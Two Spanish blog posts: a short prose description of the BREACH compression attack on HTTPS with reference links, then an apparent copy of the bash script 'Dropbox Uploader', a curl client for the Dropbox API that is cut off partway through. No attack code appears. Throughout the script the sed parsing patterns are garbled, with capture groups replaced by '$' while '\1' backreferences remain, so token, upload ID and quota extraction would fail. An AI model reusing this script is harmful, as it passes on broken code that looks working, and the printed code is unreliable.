Peroma Project

Rompiendo HTTPS en sólo 30 segundos

2013-08-07T01:13:00.001+02:00

BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) es una nueva herramienta que utiliza una técnica mediante la cual es posible extraer tokens de logins, IDs de sesión y otra información sensible a partir de tráfico web cifrado SSL/TLS y en ¡sólo 30 segundos!.

Esto significa que podría permitir a un atacante descifrar fácilmente un canal HTTPS de un banco o de un sitio de venta online.

Fue presentada en la última conferencia Black Hat y se aprovecha varias vulnerabilidades de forma similar a lo que hacía CRIME con deflate; es decir, ataca al algoritmo de compresión aunque en las respuestas HTTP. Eso sí, como comentamos la información sensible ha de estar en las respuestas HTTP, el servidor por supuesto ha de utilizar compresión HTTP y el exploit requiere que la víctima visite primero un enlace malicioso.

Más información en:

http://breachattack.com
Paper:

http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf
Presentación:

http://breachattack.com/resources/BREACH%20-%20BH%202013%20-%20PRESENTATION.pdf

Dropbox Uploader

2013-06-24T14:15:00.001+02:00

Es un script en BASH que puede ser utilizado para cargar, descargar, suprimir , catalogar archivos y mucho más en Dropbox, un archivo compartido online, sincronización y servicios de backup. Sólo necesita de cUrl (es una herramienta que sirve para transmitir información de o a un servidor), disponible para todos los sistemas operativos e instalado por omisión en muchas distribuciones Linux. Seguro: no requiere que proporciones sus identificaciones (username/password) a este script porque este utiliza el API oficial de Dropbox para el proceso de autenticación.

######################################Script:######################################
#!/usr/bin/env bash
# Dropbox Uploader
# Copyright (C) 2010-2013 Andrea Fabrizi <andrea.fabrizi@gmail.com>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

#Default configuration file
CONFIG_FILE=~/.dropbox_uploader

#If you are experiencing problems establishing SSL connection with the DropBox
#server, try to uncomment this option.
#Note: This option explicitly allows curl to perform "insecure" SSL connections and transfers.
#CURL_ACCEPT_CERTIFICATES="-k"

#Default chunk size in Mb for the upload process
#It is recommended to increase this value only if you have enough free space on your /tmp partition
#Lower values may increase the number of http requests
CHUNK_SIZE=4

#Set to 1 to enable DEBUG mode
DEBUG=0

#Set to 1 to enable VERBOSE mode
VERBOSE=1

#Curl location
#If not set, curl will be searched into the $PATH
#CURL_BIN="/usr/bin/curl"

#Temporary folder
TMP_DIR="/tmp"

#Don't edit these...
API_REQUEST_TOKEN_URL="https://api.dropbox.com/1/oauth/request_token"
API_USER_AUTH_URL="https://www2.dropbox.com/1/oauth/authorize"
API_ACCESS_TOKEN_URL="https://api.dropbox.com/1/oauth/access_token"
API_CHUNKED_UPLOAD_URL="https://api-content.dropbox.com/1/chunked_upload"
API_CHUNKED_UPLOAD_COMMIT_URL="https://api-content.dropbox.com/1/commit_chunked_upload"
API_UPLOAD_URL="https://api-content.dropbox.com/1/files_put"
API_DOWNLOAD_URL="https://api-content.dropbox.com/1/files"
API_DELETE_URL="https://api.dropbox.com/1/fileops/delete"
API_MOVE_URL="https://api.dropbox.com/1/fileops/move"
API_METADATA_URL="https://api.dropbox.com/1/metadata"
API_INFO_URL="https://api.dropbox.com/1/account/info"
API_MKDIR_URL="https://api.dropbox.com/1/fileops/create_folder"
API_SHARES_URL="https://api.dropbox.com/1/shares"
APP_CREATE_URL="https://www2.dropbox.com/developers/apps"
RESPONSE_FILE="$TMP_DIR/du_resp_$RANDOM"
CHUNK_FILE="$TMP_DIR/du_chunk_$RANDOM"
BIN_DEPS="sed basename date grep stat dd printf mkdir"
VERSION="0.11.8"

umask 077

#Check the shell
if [ -z "$BASH_VERSION" ]; then
echo -e "Error: this script requires BASH shell!"
exit 1
fi

if [ $DEBUG -ne 0 ]; then
set -x
RESPONSE_FILE="$TMP_DIR/du_resp_debug"
fi

#Look for optional config file parameter
while getopts ":f:" opt; do
case $opt in

f)
CONFIG_FILE=$OPTARG
shift $((OPTIND-1))
;;

\?)
echo "Invalid option: -$OPTARG" >&2
exit 1
;;

:)
echo "Option -$OPTARG requires an argument." >&2
exit 1
;;

esac
done

#Print verbose information depends on $VERBOSE variable
function print
{
if [ $VERBOSE -eq 1 ]; then
echo -ne "$1";
fi
}

#Returns unix timestamp
function utime
{
echo $(date +%s)
}

#Remove temporary files
function remove_temp_files
{
if [ $DEBUG -eq 0 ]; then
rm -fr "$RESPONSE_FILE"
rm -fr "$CHUNK_FILE"
fi
}

#Returns the file size in bytes
# generic GNU Linux: linux-gnu
# windows cygwin: cygwin
# raspberry pi: linux-gnueabihf
# macosx: darwin10.0
# freebsd: FreeBSD
# qnap: linux-gnueabi
# iOS: darwin9
function file_size
{
#Some embedded linux devices
if [ "$OSTYPE" == "linux-gnueabi" -o "$OSTYPE" == "linux-gnu" ]; then
stat -c "%s" "$1"
return

#Generic Unix
elif [ "${OSTYPE:0:5}" == "linux" -o "$OSTYPE" == "cygwin" -o "${OSTYPE:0:7}" == "solaris" -o "${OSTYPE}" == "darwin9" ]; then
stat --format="%s" "$1"
return

#BSD or others OS
else
stat -f "%z" "$1"
return
fi
}

#USAGE
function usage
{
echo -e "Dropbox Uploader v$VERSION"
echo -e "Andrea Fabrizi - andrea.fabrizi@gmail.com\n"
echo -e "Usage: $0 COMMAND [PARAMETERS]..."
echo -e "\nCommands:"
echo -e "\t upload [LOCAL_FILE/DIR] <REMOTE_FILE/DIR>"
echo -e "\t download [REMOTE_FILE/DIR] <LOCAL_FILE/DIR>"
echo -e "\t delete [REMOTE_FILE/DIR]"
echo -e "\t move [REMOTE_FILE/DIR] [REMOTE_FILE/DIR]"
echo -e "\t mkdir [REMOTE_DIR]"
echo -e "\t list <REMOTE_DIR>"
echo -e "\t share [REMOTE_FILE]"
echo -e "\t info"
echo -e "\t unlink"
echo -e "\nOptional parameters:"
echo -e "\t-f [FILENAME] Load the configuration file from a specific file"
echo -en "\nFor more info and examples, please see the README file.\n\n"
remove_temp_files
exit 1
}

if [ -z "$CURL_BIN" ]; then
BIN_DEPS="$BIN_DEPS curl"
CURL_BIN="curl"
fi
#DEPENDENCIES CHECK
for i in $BIN_DEPS; do
which $i > /dev/null
if [ $? -ne 0 ]; then
echo -e "Error: Required program could not be found: $i"
remove_temp_files
exit 1
fi
done

#Urlencode
function urlencode
{
local string="${1}"
local strlen=${#string}
local encoded=""

for (( pos=0 ; pos<strlen ; pos++ )); do
c=${string:$pos:1}
case "$c" in
[-_.~a-zA-Z0-9] ) o="${c}" ;;
* ) printf -v o '%%%02x' "'$c"
esac
encoded+="${o}"
done
echo "$encoded"
}
#Generic upload wrapper around db_upload_file and db_upload_dir functions
#$1 = Local source file/dir
#$2 = Remote destination file/dir
function db_upload
{
local SRC="$1"
local DST="$2"

#It's a file
if [ -f "$SRC" ]; then
db_upload_file "$SRC" "$DST"

#It's a directory
elif [ -d "$SRC" ]; then
db_upload_dir "$SRC" "$DST"

#Unsupported object...
else
print " > Skipping not regular file '$SRC'"
fi
}

#Generic upload wrapper around db_chunked_upload_file and db_simple_upload_file
#The final upload function will be choosen based on the file size
#$1 = Local source file
#$2 = Remote destination file
function db_upload_file
{
local FILE_SRC="$1"
local FILE_DST="$2"

#Checking file size
FILE_SIZE=$(file_size "$FILE_SRC")

#Checking the free quota
FREE_QUOTA=$(db_free_quota)
if [ $FILE_SIZE -gt $FREE_QUOTA ]; then
let FREE_MB_QUOTA=$FREE_QUOTA/1024/1024
echo -e "Error: You have no enough space on your DropBox!"
echo -e "Free quota: $FREE_MB_QUOTA Mb"
remove_temp_files
exit 1
fi

if [ $FILE_SIZE -gt 157286000 ]; then
#If the file is greater than 150Mb, the chunked_upload API will be used
db_chunked_upload_file "$FILE_SRC" "$FILE_DST"
else
db_simple_upload_file "$FILE_SRC" "$FILE_DST"
fi
}

#Simple file upload
#$1 = Local source file
#$2 = Remote destination file
function db_simple_upload_file
{
local FILE_SRC="$1"
local FILE_DST=$(urlencode "$2")

#Show the progress bar during the file upload
if [ $VERBOSE -eq 1 ]; then
CURL_PARAMETERS="--progress-bar"
else
CURL_PARAMETERS="-s --show-error"
fi

print " > Uploading $FILE_SRC to $2... \n"
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES $CURL_PARAMETERS -i --globoff -o "$RESPONSE_FILE" --upload-file "$FILE_SRC" "$API_UPLOAD_URL/$ACCESS_LEVEL/$FILE_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then
print " > DONE\n"
else
print " > FAILED\n"
print " An error occurred requesting /upload\n"
remove_temp_files
exit 1
fi
}

#Chunked file upload
#$1 = Local source file
#$2 = Remote destination file
function db_chunked_upload_file
{
local FILE_SRC="$1"
local FILE_DST=$(urlencode "$2")
print " > Uploading \"$FILE_SRC\" to \"$2\""
local FILE_SIZE=$(file_size "$FILE_SRC")
local OFFSET=0
local UPLOAD_ID=""
local UPLOAD_ERROR=0
#Uploading chunks...
while ([ $OFFSET -ne $FILE_SIZE ]); do

let OFFSET_MB=$OFFSET/1024/1024

#Create the chunk
dd if="$FILE_SRC" of="$CHUNK_FILE" bs=1048576 skip=$OFFSET_MB count=$CHUNK_SIZE 2> /dev/null

#Only for the first request these parameters are not included
if [ $OFFSET -ne 0 ]; then
CHUNK_PARAMS="upload_id=$UPLOAD_ID&offset=$OFFSET"
fi

#Uploading the chunk...
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --upload-file "$CHUNK_FILE" "$API_CHUNKED_UPLOAD_URL?$CHUNK_PARAMS&oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -ne 0 ]; then
print "*"
let UPLOAD_ERROR=$UPLOAD_ERROR+1

#On error, the upload is retried for max 3 times
if [ $UPLOAD_ERROR -gt 2 ]; then
print " > FAILED\n"
print " An error occurred requesting /chunked_upload\n"
remove_temp_files
exit 1
fi

else
print "."
UPLOAD_ERROR=0
UPLOAD_ID=$(sed -n 's/.*"upload_id": *"*$[^"]*$"*.*/\1/p' "$RESPONSE_FILE")
OFFSET=$(sed -n 's/.*"offset": *$[^}]*$.*/\1/p' "$RESPONSE_FILE")
fi

done

UPLOAD_ERROR=0

#Commit the upload
while (true); do

time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "upload_id=$UPLOAD_ID&oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_CHUNKED_UPLOAD_COMMIT_URL/$ACCESS_LEVEL/$FILE_DST" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -ne 0 ]; then
print "*"
let UPLOAD_ERROR=$UPLOAD_ERROR+1

#On error, the commit is retried for max 3 times
if [ $UPLOAD_ERROR -gt 2 ]; then
print " > FAILED\n"
print " An error occurred requesting /commit_chunked_upload\n"
remove_temp_files
exit 1
fi

else
print "."
UPLOAD_ERROR=0
break
fi

done

print "\n > DONE\n"
}

#Directory upload
#$1 = Local source dir
#$2 = Remote destination dir
function db_upload_dir
{
local DIR_SRC="$1"
local DIR_DST="$2"

#Creatig remote directory
db_mkdir "$DIR_DST"

for file in "$DIR_SRC/"*; do

basefile=$(basename "$file")
db_upload "$file" "$DIR_DST/$basefile"

done
}

#Returns the free space on DropBox in bytes
function db_free_quota
{
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_INFO_URL" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then

quota=$(sed -n 's/.*"quota": $[0-9]*$.*/\1/p' "$RESPONSE_FILE")
used=$(sed -n 's/.*"normal": $[0-9]*$.*/\1/p' "$RESPONSE_FILE")
let free_quota=$quota-$used
echo $free_quota

else
#On error, a big free quota is returned, so if this function fails the upload will not be blocked...
echo 1000000000000
fi
}

#Generic download wrapper
#$1 = Remote source file/dir
#$2 = Local destination file/dir
function db_download
{
local SRC="$1"
local DST=$2

#Checking if it's a file or a directory
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" "$API_METADATA_URL/$ACCESS_LEVEL/$SRC?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then

local IS_DIR=$(sed -n 's/^$.*$\"contents":.\[.*/\1/p' "$RESPONSE_FILE")

#It's a directory
if [ ! -z "$IS_DIR" ]; then

#If the DST folder is not specified, I assume that is the current directory
if [ -z "$DST" ]; then
DST="."
fi

#Checking if the destination directory exists
if [ ! -d "$DST" ]; then
echo -e "Error: Please specify a valid destination directory!"
remove_temp_files
exit 1
fi

local basedir=$(basename "$SRC")
print " > Creating local directory \"$DST/$basedir\""
mkdir -p "$DST/$basedir"

#Check
if [ $? -eq 0 ]; then
print "\n > DONE\n"
else
print "FAILED\n"
remove_temp_files
exit 1
fi

#Extracting directory content [...]
#and replacing "}, {" with "}\n{"
#I don't like this piece of code... but seems to be the only way to do this with SED, writing a portable code...
local DIR_CONTENT=$(sed -n 's/.*: \[{$.*$/\1/p' "$RESPONSE_FILE" | sed 's/}, *{/}\
{/g')

#Extracing files and subfolders
TMP_DIR_CONTENT_FILE="${RESPONSE_FILE}_$RANDOM"
echo "$DIR_CONTENT" | sed -n 's/.*"path": *"$[^"]*$",.*"is_dir": *$[^"]*$,.*/\1:\2/p' > $TMP_DIR_CONTENT_FILE

#For each line...
while read -r line; do

local FILE=${line%:*}
FILE=${FILE##*/}
local TYPE=${line#*:}

if [ "$TYPE" == "false" ]; then
db_download_file "$SRC/$FILE" "$DST/$basedir/$FILE"
else
db_download "$SRC/$FILE" "$DST/$basedir/"
fi
print "\n"
done < $TMP_DIR_CONTENT_FILE

rm -fr $TMP_DIR_CONTENT_FILE

#It's a file
else
db_download_file "$SRC" "$DST"
fi

else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

#Simple file download
#$1 = Remote source file
#$2 = Local destination file
function db_download_file
{
local FILE_SRC=$(urlencode "$1")
local FILE_DST=$2

#Show the progress bar during the file download
if [ $VERBOSE -eq 1 ]; then
local CURL_PARAMETERS="--progress-bar"
else
local CURL_PARAMETERS="-s --show-error"
fi

print " > Downloading \"$1\" to \"$FILE_DST\"... \n"
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES $CURL_PARAMETERS --globoff -D "$RESPONSE_FILE" -o "$FILE_DST" "$API_DOWNLOAD_URL/$ACCESS_LEVEL/$FILE_SRC?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then
print " > DONE\n"
else
print " > FAILED\n"
print " If the problem persists, try to unlink this script from your\n"
print " Dropbox account, then setup again ($0 unlink).\n"
rm -fr "$FILE_DST"
remove_temp_files
exit 1
fi
}
#Prints account info
function db_account_info
{
print "Dropbox Uploader v$VERSION\n\n"
print " > Getting info... \n"
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_INFO_URL" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then

name=$(sed -n 's/.*"display_name": "$[^"]*$.*/\1/p' "$RESPONSE_FILE")
echo -e "\nName:\t$name"

uid=$(sed -n 's/.*"uid": $[0-9]*$.*/\1/p' "$RESPONSE_FILE")
echo -e "UID:\t$uid"

email=$(sed -n 's/.*"email": "$[^"]*$.*/\1/p' "$RESPONSE_FILE")
echo -e "Email:\t$email"

quota=$(sed -n 's/.*"quota": $[0-9]*$.*/\1/p' "$RESPONSE_FILE")
let quota_mb=$quota/1024/1024
echo -e "Quota:\t$quota_mb Mb"

used=$(sed -n 's/.*"normal": $[0-9]*$.*/\1/p' "$RESPONSE_FILE")
let used_mb=$used/1024/1024
echo -e "Used:\t$used_mb Mb"

let free_mb=($quota-$used)/1024/1024
echo -e "Free:\t$free_mb Mb"
echo ""

else
print " > FAILED\n"
print " If the problem persists, try to unlink this script from your\n"
print " Dropbox account, then setup again ($0 unlink).\n"
remove_temp_files
exit 1
fi
}

#Account unlink
function db_unlink
{
echo -ne "\n Are you sure you want unlink this script from your Dropbox account? [y/n]"
read answer
if [ "$answer" == "y" ]; then
rm -fr "$CONFIG_FILE"
echo -ne "Done!\n"
fi
}

#Delete a remote file
#$1 = Remote file to delete
function db_delete
{
local FILE_DST=$(urlencode "$1")
print " > Deleting \"$1\"... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&path=$FILE_DST" "$API_DELETE_URL" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then
print "DONE\n"
else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

#Move/Rename a remote file
#$1 = Remote file to rename or move
#$2 = New file name or location
function db_move
{
local FILE_SRC=$(urlencode "$1")
local FILE_DEST=$(urlencode "$2")

print " > Moving \"$1\" to \"$2\" ... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&from_path=$FILE_SRC&to_path=$FILE_DEST" "$API_MOVE_URL" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then
print "DONE\n"
else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

#Create a new directory
#$1 = Remote directory to create
function db_mkdir
{
local MKDIR_DST=$(urlencode "$1")
print " > Creating Directory \"$1\"... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&path=$MKDIR_DST" "$API_MKDIR_URL" 2> /dev/null

#Check
if grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null; then
print "DONE\n"
elif grep "HTTP/1.1 403 Forbidden" "$RESPONSE_FILE" > /dev/null; then
print "ALREADY EXISTS\n"
else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

#List remote directory
#$1 = Remote directory
function db_list
{
local DIR_DST=$1

print " > Listing \"$1\"... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" "$API_METADATA_URL/$ACCESS_LEVEL/$DIR_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then

local IS_DIR=$(sed -n 's/^$.*$\"contents":.\[.*/\1/p' "$RESPONSE_FILE")

#It's a directory
if [ ! -z "$IS_DIR" ]; then
print "DONE\n"

#Extracting directory content [...]
#and replacing "}, {" with "}\n{"
#I don't like this piece of code... but seems to be the only way to do this with SED, writing a portable code...
local DIR_CONTENT=$(sed -n 's/.*: \[{$.*$/\1/p' "$RESPONSE_FILE" | sed 's/}, *{/}\
{/g')

#Extracing files and subfolders
echo "$DIR_CONTENT" | sed -n 's/.*"path": *"$[^"]*$",.*"is_dir": *$[^"]*$,.*/\1:\2/p' > $RESPONSE_FILE

#For each line...
while read -r line; do

local FILE=${line%:*}
FILE=${FILE##*/}
local TYPE=${line#*:}

if [ "$TYPE" == "false" ]; then
printf " [F] $FILE\n"
else
printf " [D] $FILE\n"
fi
done < $RESPONSE_FILE

#It's a file
else
print "FAILED $DIR_DST is not a directory!\n"
remove_temp_files
exit 1
fi

else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

#Share remote file
#$1 = Remote file
function db_share
{
local FILE_DST=$(urlencode "$1")

time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" "$API_SHARES_URL/$ACCESS_LEVEL/$FILE_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&short_url=false" 2> /dev/null

#Check
grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null
if [ $? -eq 0 ]; then
echo $(sed -n 's/.*"url": "$[^"]*$.*/\1/p' "$RESPONSE_FILE")
else
print "FAILED\n"
remove_temp_files
exit 1
fi
}

############################################ SETUP ##############################

#CHECKING FOR AUTH FILE
if [ -f "$CONFIG_FILE" ]; then

#Loading data... and change old format config if necesary.
source "$CONFIG_FILE" 2>/dev/null || {
sed -i 's/:/=/' "$CONFIG_FILE" && source "$CONFIG_FILE" 2>/dev/null
}

#Checking the loaded data
if [ -z "$APPKEY" -o -z "$APPSECRET" -o -z "$OAUTH_ACCESS_TOKEN_SECRET" -o -z "$OAUTH_ACCESS_TOKEN" ]; then
echo -ne "Error loading data from $CONFIG_FILE...\n"
echo -ne "It is recommended to run $0 unlink\n"
remove_temp_files
exit 1
fi

#Back compatibility with previous Dropbox Uploader versions
if [ -z "$ACCESS_LEVEL" ]; then
ACCESS_LEVEL="dropbox"
fi

#NEW SETUP...
else

echo -ne "\n This is the first time you run this script.\n"
echo -ne " Please open this URL from your Browser, and access using your account:\n\n -> $APP_CREATE_URL\n"
echo -ne "\n If you haven't already done, click \"Create an App\" and fill in the\n"
echo -ne " form with the following data:\n\n"
echo -ne " App name: MyUploader$RANDOM$RANDOM\n"
echo -ne " App type: Core\n"
echo -ne " Permission type: App folder or Full Dropbox\n\n"
echo -ne " Now, click on the \"Create\" button.\n\n"
echo -ne " When your new App is successfully created, please type the\n"
echo -ne " App Key, App Secret and the Access level:\n\n"
#Getting the app key and secret from the user
while (true); do
echo -n " # App key: "
read APPKEY
echo -n " # App secret: "
read APPSECRET
echo -n " # Access level you have chosen, App folder or Full Dropbox [a/f]: "
read ACCESS_LEVEL

if [ "$ACCESS_LEVEL" == "a" ]; then
ACCESS_LEVEL="sandbox"
ACCESS_MSG="App Folder"
else
ACCESS_LEVEL="dropbox"
ACCESS_MSG="Full Dropbox"
fi

echo -ne "\n > App key is $APPKEY, App secret is $APPSECRET and Access level is $ACCESS_MSG, it's ok? [y/n]"
read answer
if [ "$answer" == "y" ]; then
break;
fi
done

#TOKEN REQUESTS
echo -ne "\n > Token request... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o $RESPONSE_FILE --data "oauth_consumer_key=$APPKEY&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_REQUEST_TOKEN_URL" 2> /dev/null
OAUTH_TOKEN_SECRET=$(sed -n 's/oauth_token_secret=$[a-z A-Z 0-9]*$.*/\1/p' "$RESPONSE_FILE")
OAUTH_TOKEN=$(sed -n 's/.*oauth_token=$[a-z A-Z 0-9]*$/\1/p' "$RESPONSE_FILE")

if [ -n "$OAUTH_TOKEN" -a -n "$OAUTH_TOKEN_SECRET" ]; then
echo -ne "OK\n"
else
echo -ne " FAILED\n\n Please, check your App key and secret...\n\n"
remove_temp_files
exit 1
fi

while (true); do

#USER AUTH
echo -ne "\n Please visit this URL from your Browser, and allow Dropbox Uploader\n"
echo -ne " to access your DropBox account:\n\n --> ${API_USER_AUTH_URL}?oauth_token=$OAUTH_TOKEN\n"
echo -ne "\nPress enter when done...\n"
read

#API_ACCESS_TOKEN_URL
echo -ne " > Access Token request... "
time=$(utime)
$CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o $RESPONSE_FILE --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_ACCESS_TOKEN_URL" 2> /dev/null
OAUTH_ACCESS_TOKEN_SECRET=$(sed -n 's/oauth_token_secret=$[a-z A-Z 0-9]*$&.*/\1/p' "$RESPONSE_FILE")
OAUTH_ACCESS_TOKEN=$(sed -n 's/.*oauth_token=$[a-z A-Z 0-9]*$&.*/\1/p' "$RESPONSE_FILE")
OAUTH_ACCESS_UID=$(sed -n 's/.*uid=$[0-9]*$/\1/p' "$RESPONSE_FILE")

if [ -n "$OAUTH_ACCESS_TOKEN" -a -n "$OAUTH_ACCESS_TOKEN_SECRET" -a -n "$OAUTH_ACCESS_UID" ]; then
echo -ne "OK\n"

#Saving data in new format, compatible with source command.
echo "APPKEY=$APPKEY" > "$CONFIG_FILE"
echo "APPSECRET=$APPSECRET" >> "$CONFIG_FILE"
echo "ACCESS_LEVEL=$ACCESS_LEVEL" >> "$CONFIG_FILE"
echo "OAUTH_ACCESS_TOKEN=$OAUTH_ACCESS_TOKEN" >> "$CONFIG_FILE"
echo "OAUTH_ACCESS_TOKEN_SECRET=$OAUTH_ACCESS_TOKEN_SECRET" >> "$CONFIG_FILE"

echo -ne "\n Setup completed!\n"
break
else
print " FAILED\n"
fi
done;

remove_temp_files
exit 0
fi

################################## START ########################################

COMMAND=$1

#CHECKING PARAMS VALUES
case $COMMAND in

upload)

FILE_SRC=$2
FILE_DST=$3

#Checking FILE_SRC
if [ ! -f "$FILE_SRC" -a ! -d "$FILE_SRC" ]; then
echo -e "Error: Please specify a valid source file or directory!"
remove_temp_files
exit 1
fi

#Checking FILE_DST
if [ -z "$FILE_DST" ]; then
FILE_DST=/$(basename "$FILE_SRC")
fi

db_upload "$FILE_SRC" "$FILE_DST"
;;

download)

FILE_SRC=$2
FILE_DST=$3

#Checking FILE_SRC
if [ -z "$FILE_SRC" ]; then
echo -e "Error: Please specify a valid source file!"
remove_temp_files
exit 1
fi

#Checking FILE_DST
#if [ -z "$FILE_DST" ]; then
# FILE_DST=$(basename "$FILE_SRC")
#fi

db_download "$FILE_SRC" "$FILE_DST"
;;
share)
FILE_DST=$2

#Checking FILE_DST
if [ -z "$FILE_DST" ]; then
echo -e "Error: Please specify a valid dest file!"
remove_temp_files
exit 1
fi

db_share "$FILE_DST"

;;

info)
db_account_info

;;

delete|remove)

FILE_DST=$2

#Checking FILE_DST
if [ -z "$FILE_DST" ]; then
echo -e "Error: Please specify a valid destination file!"
remove_temp_files
exit 1
fi

db_delete "$FILE_DST"
;;

move|rename)
FILE_SRC=$2
FILE_DEST=$3

#Checking FILE_SRC
